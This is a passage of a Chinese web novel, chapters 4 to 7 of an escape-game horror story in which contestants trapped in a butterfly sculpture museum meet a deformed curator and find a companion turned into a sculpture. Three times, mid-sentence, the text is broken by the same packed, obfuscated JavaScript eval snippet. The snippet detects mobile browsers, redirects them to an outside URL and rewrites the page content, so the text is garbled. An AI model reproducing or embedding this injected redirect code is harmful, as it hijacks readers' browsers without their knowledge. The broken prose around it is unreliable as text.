“因为商沅还有他的父亲非常喜爱这种蝴蝶,所以特意改良了雕塑馆附近的气候,让它们能在此自由繁育。” “早些年没那些不好的传闻时,这里还是热门的拍照打卡地呢。” 沈铎好奇道:“钟小姐好像对蝴蝶很有研究?” 她笑了笑,“有些涉猎,好了,进去再说吧。” 说完,她很宝贝地将自己的相机收了起来。 沈铎注意到,那是一款很贵的相机,他们这群穷学生谁都买不起,能一眼认出来,也是因为有次校运动会,体育老师交给他保管过一小时。 毛手毛脚的体育教练罕见地叮嘱他八百遍不能乱丢,沈铎眼红道:“赚钱了哦,许教,这相机看起来就好贵。” 许教练拍了他脑门一下,“是我的就好了,这是你们班白鸣珠的!” 原来是白鸣珠的,真有钱。沈铎哦了一声。 …… 系统:“沈铎?” 沈铎回过神,正要走进大门,一道阴影从头顶掠过,他不由顿住脚步,陈教授回头问道:“怎么了?” 沈铎深呼了一口气,“没事,好像有只蝴蝶飞过去了。” 他没说,以那道阴影的巨大程度来看,绝对不可能是蝴蝶…… 是更大一些的动物,还是……人呢? 可空中没有任何落脚点,一个人是怎么在墙壁上飞来飞去的?还想往我头顶丢东西,幸好避开了…… 沈铎回头看向身后。 那险些落在自己脑袋上的东西,是一滩黏稠的溶液。 - 入口处的安检,已然废弃。 宣传册散落一地,与潮湿砖缝中的苔藓糅合。 如果不是才从一辆巴士车上下来,他们几乎要以为自己穿越时空之门,身临末日废土之地。 雕塑馆已经荒凉了百年。 他们,就是这百年来唯一的访客。 “请问,有人吗?” 钟莹莹小心地问,回声荡到了远处,又空空地荡了回来。 她拿起一本宣传册,简单地翻了起来,“唔……这座场馆一共有三层,馆长办公室是在……” 吕凯骂道:“摆什么谱?不是他邀请我们来参赛?还得老子跑上去找他吗?” “我倒不认为我们非得去办公室。” 所有人都看向忽然说话的沈铎。 除了关樊两兄弟,其余人对他都没印象。 吕凯瞧了眼关樊的黑脸,意味深长地笑了:“小兄弟,你有什么想法,不妨说说,我看你比有些声大不顶用的人靠谱。” 敌人的敌人就是朋友,沈铎也懒得计较自己的称呼从“毛崽子”变成了“小兄弟”,将宣传册上“蝴蝶雕塑馆”一行字亮出来。 “我们是以什么身份来的?” “雕塑师,为老艺术家逐梦的天才。” “不管我们有没有天赋,在进入到场馆内之后,就要以一位艺术家的视角去看待问题。” “商馆长,也是一位艺术家,他会和我们在办公室这么无聊的地方见面吗?” 关樊气极反笑,“操……说得有鼻子有眼,几天不见还整上艺术家视角了,那你觉得不去办公室应该去哪?我听听你还能放什么屁。” “放屁的人只能听见屁,”吕凯说道:“不像我们,听到了小兄弟高深的见解。” 陈文轩做了一个暂停的手势,示意沈铎继续往下说。 沈铎耸肩,“其实我也就是随便说说,‘想要找到最完美最有灵魂的雕塑’,商馆长的想法听起来就很抽象,按照这个思路……没准儿他想和我们见面的地方也是类似的场所。” 钟莹莹思索道:“有点意思……那就是存放着最完美……最有灵魂雕塑的地方?” 她翻阅着宣传册,“等等,还真有这样的介绍词,就是——” “破茧系列?” 陈文轩与她异口同声,不由笑了,“我按照小沈的思路延伸了下,果然没错,商馆长对自己父亲的创作一定引以为傲。” 小女孩也欢呼:“那我们就快去快回吧!” 气氛从未如此和谐,连吕凯都融入其中。 沈铎跟上众人的步伐,往“破茧”系列的展览厅走去。 一双眼眸死死盯着他,正是咬牙切齿的关樊。 一个总是在他脚下求饶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119779|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小丑,被人夸了几句就不知道天高地厚。 他从前所热衷的事,就是用唾沫、拳脚还有辱骂擦拭掉一个人在这世上的存在感,让他发自内心觉得自己的狗屁人生毫无价值,为此涕泗横流。 他没有意识到,在沈铎重新找回了存在感、在他的价值被周围人一再肯定、在他的唾沫拳脚还有辱骂一概无用的当下,他对沈铎的恨意达到了最顶峰。 他甚至想让他死。 - 关樊的阴暗想法,沈铎有一点察觉到。 但他此刻,还顾不上关心。 “破茧”展览馆灯火通明,跟其他路过的场馆不同,门口还站着一位姿态优雅、裙摆繁重的小姐。 “终于见着人了。” 吕凯走过去,“喂,你们馆长人在哪?” 优雅的小姐并未答声,她的唇畔带着一丝若有似无的笑意,吕凯刚要动火,小女孩的声音忽然响起。 “好美丽的雕塑呀……” 雕塑? 是的。 连沈铎都才发现,这居然是一尊生动到极点的雕塑。 它的大小比例、它的肤质、它的衣饰还有表情,都与人类毫无区别,猛地一瞧,真真假假分辨不清。 但被小女孩戳破之后,就很容易发觉它脸部的奇怪光泽。 似乎是一种特殊的蜡质,泛着细细的油光。 “嗯?” 一行人都在对雕塑的五官啧啧称奇,沈铎却嗯了一声,略微弯下腰,透过繁重的裙子,看到她的手指缠绕着深蓝色的蕾丝绸带,正指向前方。 绸带上好像还有些别的东西。 他正想要离近一些,看清那到底是什么。 忽然一道重力自身后袭来,将他狠狠撞向前方—— “砰——!” “……” “你在干什么呀!天哪!” 关樊晕乎乎爬起来的时候,都没想清楚,刚才到底发生了什么。 他明明是看准了沈铎才撞的,但被撞翻的却是自己。 “你怎么——你怎么能把雕塑撞坏呢?” “又是你,怎么闯祸的老是你……” “关樊!你没事吧!” ……乱糟糟的声音像潮水淹没了他,头颅剧痛,关樊下意识甩开手中的东西,“妈的,吵什么吵,老子撞了就撞了……” 众人不由安静下来。 视线都跟着那条被甩出去的女性“胳膊”。 它太逼真了。 简直就像关樊残忍撕裂一个女人的手臂,又用力甩了出去。看着那条形同自己的“胳膊”一路跌落,钟莹莹有种双臂生痛的错觉。 但很快,众人就发现了异常。 “啊——!” “那是——” 关樊不耐烦:“又怎么了……” 关新杰震惊道:“那是什么……” 已远离这片混乱场所的沈铎也顺着看去。 美丽的女神消解为残肢,断手却还是为他们指明方向,它一路滚向馆内,最终停留在一个人的脚边。 “……” 这个人,似乎已经不能称之为人。 在看到他的第一眼,所有人的五脏六腑被恶心地搅来搅去,逼出生理性的干呕。 那人的头发所剩无几,头皮到脖子似燃过的白烛,惨白五官溶解得七零八碎,没有一处完整。 他的身体被一张白色的袍子略略包裹,与他新长出的粉嫩肉瘤十分相配。 但他袒露出来的大部分皮肤,都像他被溶解过的五官,令人惊恐,麻痹,看一眼就像天灵盖被冻了三个寒冬的冷手一把掀开。 当他耷拉在脖子上的嘴巴努力微笑,蠕动着开始说话……钟莹莹终于忍受不了,爆发出一声尖利的惨叫。 声声尖叫宛如出场礼花,他含糊的台词呈现人前。 “我是……馆长,商……飞……扬。” “现在……” “由我来宣布……” “本次的雕塑比赛……规则……” 5. 蝴蝶雕塑馆05 -05- 吕凯转身,“别叫了!老子要听比赛规则!” 钟莹莹不可置信地睁大了眼睛,“你……你难道还要参加吗?!” “为什么不参加?!” 吕凯转头,投向商飞扬的目光亢奋狰狞。 “我来这儿,就是为了赢钱!” “怪物也好,野兽也罢,我才不管给我发钱的人长什么样……只要他的钱不会变样就行了!” 丧心病狂的笑声传遍大厅。 钟莹莹怔愣在原地许久,“你需要什么钱啊……需要钱的,是我们这些普通人啊。你身上的名牌,随便拿出来一个,我都买不起……” 吕凯却笑得更大声了,“这些都是假的,假的!” “看啊,没有钱,连假货都认不出来,我才不要变成你这种白痴!这场比赛我势在必得,遗产是属于我的!” 他彻底转身,朝着面目全非的商飞扬做了一个请的姿势。 “请您畅所欲言吧!” “咕哝、啪哒。” 商飞扬似乎笑了。 他的嘴巴是一道镶嵌在嫩肉中的伤口。 随着伤口血腥开合,风箱般沉重的“嗬嗬”声拖长在咽喉,脏器随笑声吐露在地,他又弯腰拾起,吞了回去。 附身又直起的过程中,他的身体一直发出“咕叽、咕叽”的声音,大厅内无人说话,这点微小的动静让人头皮发麻。 “稍等,稍等片刻……” “我的舌头……需要一些时间……噢,现在可以了。” 他的发声终于不再含混不清,朝诸位优雅行了一礼。 沈铎这才注意到,他怀里揣着一座石膏小狗,是那种小孩才会玩的玩具,有一定年头了,又脏又旧。 商飞扬很热情地看着他们,“我该如何称呼你们呢?” “逐梦者,还是雕塑师?” “我很快就要死了,各位,这显而易见。我的父辈都认为不得好死是诅咒,我却由此窥见天机。” “父亲将童年种在茧里,由此繁育出了一代雕塑大师的伟梦,你们又会埋下什么种子呢?” 任谁来看,这位高谈阔论的馆长都像是疯了。 他说话颠三倒四,长相变态丑陋,将顾佳佳吓得泪眼朦胧,她抓住爷爷的手,哀求的声音众人都能听见,“爷爷,我们走吧,我们走……” 商飞扬摇了摇头,“走?你们走不掉的。” 关樊:“什么意思?” 商飞扬却不回答,颇有兴味地看着顾家爷孙,拗不过孙女,同时自己也很害怕的顾大爷佝偻着腰,悄悄从边缘撤离,刚想跨出门去,走廊忽然响起一枪,恰好崩在顾佳佳脚下,她一声尖叫,转头扑进了爷爷怀里。 商飞扬放声大笑。 钟莹莹恐惧道:“你私自持有枪支,这是违法的!” 商飞扬道:“一个早就被世人遗忘的地方,谁还会在乎受不受法律限制。” 几人的脸色苍白如纸,钟莹莹根本不敢和商飞扬对视,只能埋着头,盯着脚下的地面,感觉自己说出来的每个字都是飘着的。 “所以你是想要,你想要报复社会,才把我们骗到这里来么……” “骗?”商飞扬摇头,“我当然没有骗人了。” “邀请各位过来,还是那个目的。我会给你们三天时间,在这三天里,你们必须待在自己的房间,织出自己的茧,完成真正的蜕变。” 语气很随和,但条款很迷惑强硬。 织出自己的茧……这是什么鬼要求? 沈铎开口了:“商馆长,你之前说,想找到一位雕塑天才,为你做出最完美最有灵魂的雕塑,这个要求还作数吗?” 商飞扬笑了:“我有说过这样的话吗?” 展览厅哗然。但商飞扬继续说着:“可能是记者理解错了意思,我想要的并非是最完美最有灵魂的雕塑。” 众人如遭雷击。 虽然从他之前种种表现,已经能预感到比赛过程不会很顺利,但是——居然还能现场修改规则? 一时间,好几人都打起了退堂鼓,频频望向展览厅门外,但想到走廊里放出的冷枪,他们又不敢行动。商飞扬似乎发觉了他们的小动作,但他一点也不在意,看他如此,其余人更加不敢动了。 只能照他说的做。 每个人拿出随身物品,依次放到了地上,沈铎就带了一个书包,在车上查看过,包里是课本和一些卷子,还有一个手机,可惜没电了。 没什么用处,他放包放得很没负担。 但其他人就不是了。钟莹莹恋恋不舍地将相机放在地上,还是不放心,最后脱下外套包了起来。相机对钟莹莹似乎特别重要,她都能鼓起勇气和商飞扬对话了:“三天之后,真的能拿回我的东西?” 商飞扬一笑,“当然。” 钟莹莹如释重负,但沈铎却觉得他的笑有深意:当然可以给你,但三天后你能回来吗? 顾家爷孙也回来交了东西,商飞扬很满意,拍了两下手。沈铎目不转睛看着他怀里的石膏狗,这东西居然是被黏在外衣上的。 “进行下一步吧。我那称职的助理想必已和你们通过气了。” 助理? 沈铎想了几秒,恍然大悟。是在说广播女声,原来她是个活人,不是录音吗? 可能是他转头四顾寻找的动作太明显,商飞扬注意到了,“她不在这里,改天介绍给你们认识。” 吕凯一点也不在意助理,“下一步是优先挑选权?” “噢,是的,那是她起的名字,毫无新意……艺术家怎么能如此乏味地命名?” “艺术家又怎么能没有一间自己的画室?很遗憾,我无法为你们挑选合适的模特,如今人们很少到雕塑馆来了。” 没人为他的玩笑而笑,而他自得自乐,笑弯了腰。 “但我……哈哈,我会贴心为你们送上‘封闭的时空’……让画室保持安静的。” 沈铎听出了异样,“所以,这三天时间,我们必须待在画室,不能发出声音,也不许离开?” 关新杰小声道:“这是囚禁……” 商飞扬眯起眼睛,“我不喜欢这个词语,囚禁,太生硬了。” “沉醉于创作的艺术家,不会将时间浪费在世俗琐事,白天到深夜,你们都将投身于伟大的艺术创作。” “除了早晨,你们才能走出房间,领取一天的餐食。” 商飞扬撇了撇嘴。 “原本我想连这一项都舍去,但你们毕竟太脆弱了,还需要食物维持生命……希望三天过后,你们能从中领悟到一个真理。” “生命的真谛,从不以身躯为转移。” “人与雕塑,都是完美的作品。” 话音落下,展览厅放着他们贴身物品的地板,忽然裂开一条缝隙。书包、相机、衣服慢慢沉入黑暗,钟莹莹就站在沈铎旁边,他听到她吸了一口气。 缝隙越开越大,一条“白色长桌”缓缓浮出。 白色长桌? 沈铎看到白色长方形,下意识就认为那是一张桌子。 但这块长方固体,显然超出了“桌子”的概念。 它通体发白,泛着冷光。 折角处圆润,没有尖锐的棱面,也没有缝隙。 浑然一体,微微透明。 凑近去看,还有丝丝缕缕的纹理。 商飞扬的声音不知从何处响起,他比刚才更兴奋了。 “各位请依次领取雕塑用材。” “请一定按照姓名领取。”他特别强调。 关樊的声音响起,“如果拿错了呢?” 商飞扬顿了片刻,才古怪道:“别人的用材,是别人的命运,如果你非要拿走他人的命运,那我无话可说。” 关新杰压低声音:“关樊,不要胡来。” 关樊远远望着沈铎,“拿走别人的命运有什么意思,我要拿就拿别人的命。” 沈铎没听到。 他在关心最后一名的材料是什么。 第一名,黏土。 第二名,蜡水。 第三…… 可能是考虑到最终成品,商飞扬并没有提供“超硬的石头”、“拢不起的沙土”之类难为人的材料。 他给的材料,如无意外,最后都能塑成雕像。 但就是……数量有些区别。 吕凯拿到的黏土,足足有两大箱子。 关樊的石头,也有一桶。 …… 越到队伍末尾,数量越是稀少,沈铎路过陈文轩,看见他拿着一小盆蜡水,心里多少已经有了准备,但看到一个小碗出现的时候,不免还是被气笑了。 碗里也是蜡。 但和陈文轩实在没得比,太少了。 沈铎拿起来的时候,发现蜡液已凝固在碗底。 陈文轩看到他手里的小碗,“……” 钟莹莹拿到的是黏土,她也看到了沈铎的小碗,下意识想笑,又憋了回去。 一直关注着这里的关樊早就在放声大笑了,托他的福,现在没有一个人不知道沈铎拿了一个要饭的小碗,里面装的就是他仅有的材料。 顾佳佳安慰他,“没事的,大哥哥。” “如果不够用,我把爷爷的泥巴送给你。” 虽然是好意,但沈铎觉得,商馆长既然设置了这一规则,就是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119780|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他们使用馆内自己提供的材料。 所以摸了摸她的头,没有答声。 她的爷爷咳嗽着将她拉了回去,“抱歉……她不懂事。” “没关系。” 这是沈铎第一次近距离听到顾大爷开口说话,比他想象中要年轻。 沈铎问道:“你们拿到了什么?” 顾佳佳展示给他看,是一箩筐石头,看起来挺重。 沈铎便道:“我帮你们搬过去吧。” 老人不习惯别人的善意,在沈铎拿起箩筐后咳嗽着搭手帮忙,他枯瘦的胳膊软塌塌扶着篮筐,沈铎的目光在他的手臂上顿住,一道疤痕一闪而过,很快就被衣袖遮住。 察觉到沈铎的视线,老人又将衣袖往下捋了捋,岔开了话题,“小沈,你说……三天后咱们能出去吗?” 他的语气含着浓浓的担忧,沈铎看了一眼顾佳佳,安慰道:“应该可以的,我们照他说的做,小心一点就没事。” “照他说的做……可是规则已经改了,不做雕塑……还能做什么呢?”他想叹气,可又顾虑孙女,便压低了声音,用只有沈铎能听到的音量说道:“我原本想,靠我自己的手艺,给这可怜孩子多争一点是一点,可是……雕塑还好,就是捏泥人嘛,还是可以试试的,但是——” “织茧,什么是织茧呢?” 这个问题沈铎也不知道答案。 老人似乎也不需要得到答案,他拍了下沈铎的肩膀,“希望我们都能活着出去。” 沈铎答应了一声,将箩筐放在了他们房间。 一边往自己的房间走,一边回忆着刚才看到的疤痕,他曾经被爆炸的插座烧焦过手掌,留下的伤口就是那样。 顾大爷的烧伤要比他严重很多,露出的一截皮肤就已惨不忍睹,不敢想被衣服遮住的部分会是什么样。 系统在耳边提醒:“玩家沈铎,你的任务面板刚才有更新。” 沈铎点头,“调出来看看。” …… 任务面板之前没动静,可能就是因为商飞扬隐藏了真实目的,现在一群人被他骗到了雕塑馆无法离开,他终于开口说了出来。 沈铎看了眼时间,确定就是在展览厅见到商飞扬的时候,【主线任务】才第一次出现。 【副本:蝴蝶雕塑馆】 【主线任务:调查“破茧”背后的秘密】 在任务线变得清晰之后,通关条件也随之浮出水面。沈铎留意到,将主线推至100%进度即可通关。 也就是说,他必须查清“破茧”是什么。 联系到商飞扬说的“织出你们自己的茧”,他认为二者可能存在一定关联,顺着商飞扬这条线查下去,应该就能知道“茧”是什么。而且,破茧破茧,商飞扬老爸的成名作也是破茧。再来这个雕塑馆也是蝴蝶命名…… 沈铎浏览着面板,顿了一下:“还有完美通关的成就吗?” 推完主线只是通关,而非完美通关。 系统道:“是的,完美通关的条件一般更加严苛,而且会随着副本背景改变,像这个副本,就没有具体说明。” 沈铎了然:“那可能需要找隐藏的任务。” 既然如此,只能走一步看一步了。 关掉面板,倒在床上,系统见他闭上了眼睛,难以置信道:“现在才六点。”逃生游戏每一个玩家都会像拉磨的驴辛勤工作! 沈铎都没睁开眼皮,“就一个破碗,我能雕出什么花来,养足精神,备战明日。”他打了一个哈欠,“我有没有跟你说过,我特别容易累。” 系统:“……没有。” “那你现在知道了。” 沈铎睡得不省人事,系统竖起耳朵,机警得仿佛猎狗。 一夜过去,平安无事。 沈铎洗漱完毕,看了眼墙上的表,到商飞扬说的饭点,他们可以出门了。 这一整条走廊都是他们的房间,沈铎慢慢朝餐厅的位置走去,很快来到了顾家爷孙的画室,昨天他安慰顾佳佳,他们离餐厅更近,明天可以第一个冲出来吃饭。 但现在她冲不出来了,因为房间门口挤满了人。 沈铎忽然有了一点不好的预感。 这点预感在关新杰转过头来时得到了证实,他像是遭受到很大打击,都没看到沈铎,失魂落魄,似乎下一秒就要崩溃。 “怎么了?”关新杰说不出话,沈铎就去问钟莹莹。 钟莹莹看起来也很不好,但起码能正常交流。 “顾大爷没了。”她说完,可能觉得不太准确,又补充了一句话。可这一句话说出来,连她自己都不是很相信,所以听着每个字都在打飘:“他……他好像变成雕塑了。” 6. 蝴蝶雕塑馆06 -06- “早上好,各位客人。一日三餐已备好,请前往餐厅领取,餐厅位于……” 广播语气无恙,催促他们前往餐厅用餐。其余人散了,还剩钟莹莹和沈铎站在门口,现在他终于能看见里面了。 他昨天拿过来的箩筐,就放在门后,里面已经空了。 他对顾大爷和顾佳佳没什么感情,两个游戏中的角色而已。可是逃生游戏太逼真了,他们不是他从前玩过那些游戏里的纸片人,而是活生生和自己对话过,相处过……这样一个人莫名其妙地没了,沈铎有些不舒服。 “顾佳佳呢?”他问钟莹莹。 “还没醒过来,我们早上过来的时候,门开着,她就晕倒在墙边,可能是看她爷爷变成了那样……” 到底变成了哪样? 门被他缓缓推开。 没有血。 不是残忍的凶杀现场,现场没有一滴血。 画室通体洁白,仿佛从不受浊物玷污,在日光折射中,地面、窗户和墙壁都闪烁着神性的光泽。 房间里还有一个人,是陈文轩,他站着不动,微微仰望着面前成形的白色雕塑。 昨天佝偻着腰的老人,个子非常矮小,除了自己的孙女,他与人对话,一定要微微抬头仰望着他们。 可现在,沈铎和陈文轩必须要抬头,才能看见他沟壑纵横僵白的脸。 “顾大爷好像变成雕塑了……” 对视的一瞬,沈铎脑海回荡起钟莹莹的话。太匪夷所思了,如果不是实实在在出现于面前,他根本不会相信,人能一夜之间变成雕塑。 “他没有变高,而是加了一个底座,是想更有艺术性么?”陈文轩思索着,转头看见沈铎双手合十,惊讶道:“小沈,你在做什么?” “祈祷。”沈铎很认真,“希望他灵魂安息。” 陈文轩:“你信神吗?信什么教?” “什么神都信,我不挑。”他家里人很多,信什么教的都有,可能一三五哈利路亚,二四六阿弥陀佛。 交谈间沈铎已经祈祷完毕,他放下手,看不出之前的惋惜,全神贯注地观察起老人的雕塑,“封住他的,好像是他昨天拿到的材料。” 陈文轩回忆:“他的材料是……” “石头。”是沈铎帮忙搬过来的,所以记得很清楚。 “他的表情很痛苦,可能是窒息而死?双手也做出求救的姿势,嘴巴也张开了……”沈铎一边思考,一边快速说着。陈文轩在旁边观察着他。 进门时还有着淡淡惋惜的少年,在祈祷完毕之后,就变得很有兴趣,伤心随风而去。他的想法似乎从“顾大爷死了……”很快跳跃到“人竟然能变成雕塑,我靠,怎么做到的?” 沈铎全心全意思考着后一个问题。 “……我想,昨天晚上的情况应该是这样的。”沈铎认真道:“回到房间之后的某个时间点,顾大爷遭受了石头的攻击,而这些石头不知为何能包裹住他的身体……有可能在当时变成了流动的物质?” 黑暗中,被“石头洪流”袭击、避无可避的老人,只能勉强将孙女护送到门口,自己孤身面对危险。在他想要伸手呼救的刹那,那些“石头洪流”完全缠上了他,包裹了他,将他封存,夺取呼吸。 很快就窒息而死。 他满心疑问,陈文轩看了出来,“去餐桌那边吧,趁着时间还早,我们抓紧时间交流一下,这件事疑点太多了。” 沈铎点头,“好。” 跟着陈文轩走出房间,沈铎转头最后看了一眼老人死不瞑目的雕塑。 为什么昨晚没听到他求救呢? - 众人落座许久,餐厅始终沉寂。 封住尸体的石流似乎一路淌到了这里,封住了人们的唇舌。 “就是馆长干的!” 钟莹莹黑眼圈明显,显然一夜未眠。 “昨天他就像个疯子,他已经不是人了!人不可能变成那样……绝对就是他干的,是他杀的!” 钟莹莹环视一圈,因情绪激动泛出泪光,“如果你们是为钱来的,就到此为止吧。” “求求你们,不要再深入下去了!” 吕凯笑了一声,“那你为什么不走?昨天我就想说了,你都被商飞扬吓成那样了,为什么不走?哦,我们是为了钱,你就不是了?说得那么高尚干嘛呀。” “我当然不是为了钱!我是……我是……” 钟莹莹低下头,似乎下定了决心。 再次抬起头来,仿佛换了一个人,掷地有声。 “我是为了理想!” “……” 有人低声笑起来,钟莹莹连忙掏出来一本证件,放在了餐桌上,给大家看,“是真的!我不是为了钱,我是为了实现新闻人的理想,我要将这里的黑暗背景报道出去!” 关新杰拿过她的证件,“新闻社实习记者钟莹莹……你是记者?” “为了理想,谁信呐?”吕凯不以为然。 钟莹莹看向他。 吕凯本来不拿她当回事的。 但她的眼亮得可怕,仿佛凝聚起一团小小的火焰。 “人不应当拒绝自己领悟不了的世界。我尊重你的世界,因为我知道这世上的大多数人都爱财如命,钱的确很重要。” “但你也要尊重我的世界,在我的世界里,揭露黑暗的真相,弘扬正义的理想,就是最重要的事!你可以为了钱来雕塑馆拼命,我就不能为了理想吗?” 餐厅一片静寂。 钟莹莹坚定到有些发狠。 “我知道在座的各位,或多或少都有自己的秘密。那个疯子确实说中了一件事,每个人都有每个人的命运……我不在乎,也不好奇,从进馆开始,我就是为了找出真相而活……你说得对,我是很害怕,怕得要死,但我还是要查下去!” 尽管眼底还有泪光,但一股强大的气势撑起她的脊梁,令她孤注一掷地开口,“如果你们不愿意离开的话,最好先听我说!” 沈铎打破了餐桌上的沉寂,“你继续。” 钟莹莹朝他点头,然后看向众人。 “各位都听说过雕塑馆的死亡之称,正是因为这个名号,很多人都不敢来冒险,最终只来了我们这几个人。” 这些事,沈铎在系统一开始提供的背景资料里就看过。 看起来人尽皆知,桌上每个人都不意外。 钟莹莹继续道:“雕塑馆之所以有这个称号,是因为接任它的几任馆长都接连死亡,可这其实跟雕塑馆没多大关系,馆长们遭此厄运,很大程度是因为他们和商家有关联。” 坐在沈铎对面的关新杰紧皱眉头,似乎有话想说,但陈文轩先开口了。 “你是指商家连续两代都横死的传闻?传闻并不可信,当初造谣的人不也被起诉了吗?” “之前我也是这么想的,直到毕业后我进入了新闻社。” “我们新闻社里有一个栏目,叫做‘诡秘来信’,是一款午夜档节目,由编辑供稿写一些鬼故事,有时候会从民间投稿里挑选出精彩的来信。” “有一次,编辑部收到了一封信。信上没有落款,只写了四个字。” “哪四个字?” 钟莹莹睁圆了眼,“商家、有鬼!” …… 这个有鬼,当然不是纯粹的鬼怪作祟。 来信人提到了一则陈年往事,说人人都知道商家两代家主暴毙身亡,却不知道他们是先后死亡,而且死期离得还很近。 他特别点出,是因为儿子商沅死了,他的父亲商国栋伤心过度,没多久也跟着死了。 商沅之死,才是流言的引子。 因为他死得很蹊跷。 据说那是一个家族聚会,有他和妻子、若干亲密好友出场。但在那一夜,他的妻子、朋友、合作伙伴,包括他自己全都暴毙而亡,这桩案子被商国栋压了下来,只有极少数的人知道那是一桩极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119781|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其惨烈、百年难遇的灭门惨案。 当然,说是灭门,有哗众取宠的嫌疑,因为还有一位幸存者。 故事讲到这里,沈铎有些明白了。 “商飞扬就是那个幸存者?” 钟莹莹点了点头,“是的,但这也是不幸的开始。” 经历了双亲暴毙的商飞扬从此性情大变,行事诡异,很快就将家里的钱财挥霍一空。 如此一来,诅咒之说更是尘嚣甚上。 “现在的雕塑馆周围为什么没有住户?” “是因为商飞扬在亲人接连去世后便卖掉了家里的本宅,有可能是触景生情,有可能是别的原因,总之他不想再回去了。” “他将家置办在了雕塑馆,和一群蝴蝶相依为命。每日每夜,从早到晚,周围的住户都要忍受从雕塑馆传来的哭声和笑声,他们投诉过,但却遇到了更麻烦的事。” “有一些住户的孩子失踪了。” “嚓啦——” “哥!你小心点啊!” 关新杰低声道歉,弯腰拾起打碎的餐具,所有人的目光蜻蜓点水一碰,便又被钟莹莹的讲述吸引。 “那些孩子,是在雕塑馆附近玩的时候失踪不见的,他们的父母报了案,警察也认为商飞扬的嫌疑最大,但一来并没有证据,二来他们在馆内地毯式搜寻了好几个月,也没有找到任何蛛丝马迹。” “最终只能不了了之。” 关樊听到最后,发现还是一个无聊的结局,懒懒道:“那那群孩子还能去哪?难道还能变成蝴蝶飞走了?” 钟莹莹摇头,“谁都找不到。” “警察搜不到,那些父母就找旁门左路,找私家侦探……甚至还有道士,他们开坛做法,香烟灰飘得都要将雕塑馆淹没了,还是没能找到孩子的下落……不过。” 任何一个“不过”、“但是”之后,都跟随着这段话最重要的信息。 沈铎看向钟莹莹,她的表情有些犹豫,似乎不知道该不该将这一信息透露给他们。 “不过,也有一些离奇的说法,说……” “说之所以找不到他们,是因为他们都被做成了雕塑……” “啊!那不就是——”吕凯惊呼起来。 她的话像一道惊雷落下。 餐桌上的人们下意识转头,看向白色的墙壁。 白色,白色,还是白色。 在这无穷的白墙背后,就有一个被封在雕塑里窒息而死的老人,今天早上,他们亲眼看到了。 钟莹莹低声道:“所以我才说他疯了,早就疯了,你们要是不想死,就赶紧走吧!” …… 钟莹莹说完没多久,女声广播就再次响起,催促众人离开餐厅,赶快回房间进行伟大的艺术创作。 先看到死人,又听到危险腐烂的故事,他们也没什么胃口,沉默端走了今天的餐食。 沈铎快要进门的时候,转头喊道:“关哥。” 关新杰就住在他隔壁,一路心不在蔫,此刻晕晕乎乎抬起头来,似乎才发现沈铎,“噢,小沈……怎么了?” “你看起来不太舒服,需要药吗?” 关新杰摇头说不用,沈铎也没有再客气,点了下头就推门进去,关门之后听到系统的声音,“你有药吗?” “没有。”沈铎干脆道:“我感觉他不太对劲。” 其实不止关新杰,今天在餐厅的人都有秘密,就像钟莹莹说的,每个人来到这里,或多或少都有自己的目的。 钟莹莹是第一个开口讲述自己的人,但就算是她,沈铎也能感觉出来,她有所保留,没有坦诚全部。 他喃喃道:“如果能知道他们在想什么就好了……” 系统沉默片刻。 沈铎看不见他那张狗脸,但不知为何,却能感受到它在竭力按下一股冲动、欣喜,一个系统,会有如此复杂的心情吗? “我有一个办法。”系统呼出一口气,对他说道。 7. 蝴蝶雕塑馆07 -07- 沈铎:“你说说看呢。” 系统很是激动,“异能!” 沈铎:“异能?” 他眼前一亮。 对啊,异能。 他怎么给忘了呢? 角色卡一开始就写明了,他有异能,只不过尚未觉醒,还是锁定状态。 那么问题来了,异能要如何觉醒? 系统不假思索,“我们普遍鼓励玩家自行探索,尽全力找寻唤醒异能的时机,毕竟我们的身份只是系统,不能对玩家的通关过程有任何干涉。” 说白了,系统没那么大权力。 它们更像是……玩家的经纪人? 更多是在引导沈铎熟悉逃生游戏的规则,对他解释游戏副本的内容。 说到干涉,它甚至在担心“沈铎消极比赛”的时候,只能言语劝诫,循循善诱,连强迫都做不到。 跟沈铎看过的一些小说相比,这个狗头系统显然要窝囊很多。 “那……”沈铎活动着脖子和手臂,端详着自己的身体,“异能唤醒的时候会是什么感觉?” “我不知道。” 系统老实道:“只有玩家才能懂得那种感受。” 沈铎叹了口气,觉得分配给自己的这位系统实在是能力不过关。 “不过……” 一向很在乎沈铎心情的系统立刻讨好地找补,“不过我听人说过,那似乎是一种……‘被全世界瞩目’的感觉。” “被全世界瞩目……” 